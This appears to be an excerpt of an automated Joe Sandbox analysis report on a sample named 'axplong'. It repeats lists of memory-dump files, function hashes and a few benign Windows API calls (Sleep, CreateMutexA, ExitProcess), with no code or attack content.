Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 166ff7ae6b3c3ac4a9f8c58838c94c455a05374a1e4ce380050ac5d0e4ed9339
Instruction ID: 2bb37ac4dff49a014d8a2a420b6e9872d329f028b1e308ba2e1577581ddc2151
Opcode Fuzzy Hash: 166ff7ae6b3c3ac4a9f8c58838c94c455a05374a1e4ce380050ac5d0e4ed9339
Instruction Fuzzy Hash: CCE08C30181A086ECF697B14DC19FA83B9BEF11344F00C419F8049A271CB25ED92D988

Function 00699AD5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 1777f5099d162f68c29fcc3f102c0db057ba92aee2889e10898e9bc80ee0ac56
Instruction ID: afc4fb79b63f69c81e601e37ad3a8224f57f33313b590ffb33c8aa2de9826092
Opcode Fuzzy Hash: 1777f5099d162f68c29fcc3f102c0db057ba92aee2889e10898e9bc80ee0ac56
Instruction Fuzzy Hash: 69314A71B102048BEF08ABBCEDC976EB6BBDF86310F20825DE0149BBD5D77599818761

Function 00699E74 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: c72e03212b5da7bdc1c5597cca60b8b3b5894da56a31e725128521ba90b2229d
Instruction ID: c1c80fdd334451769aa5ae059c4a68bb3f77781a02999b395a60bf4806bf3d9d
Opcode Fuzzy Hash: c72e03212b5da7bdc1c5597cca60b8b3b5894da56a31e725128521ba90b2229d
Instruction Fuzzy Hash: 9C3126717102008BEF08DBACDD897ACB7ABDF86310F20825DE415EBBD5D73589818761

Function 00699FA9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: f17796783c743c6ce7eaa6d500a297d98fb48bb62777927975499b4e1db2b206
Instruction ID: b7b72470ee6ccd510733f72dd16b24805d4fefd20c8754b1f7b1b6148afaf2ac
Opcode Fuzzy Hash: f17796783c743c6ce7eaa6d500a297d98fb48bb62777927975499b4e1db2b206
Instruction Fuzzy Hash: FF3148717102048BEF089BBCCDC9B6CB6BBDF86314F20821DE0149BBC5D776998187A6

Function 0069A0DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: ffaf4ed4d513b33edc4239049055c9424dfd841390cf135f12fa3b969df42383
Instruction ID: 5b743cae7d6172fc121067311d0a2b7c98fc26bc71ea5fbf12fd31f12a59dbd9
Opcode Fuzzy Hash: ffaf4ed4d513b33edc4239049055c9424dfd841390cf135f12fa3b969df42383
Instruction Fuzzy Hash: 273128717102008BEF089BBCDD89BADB6EB9F86310F204269E0149BBD5D77589818796

Function 0069A348 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
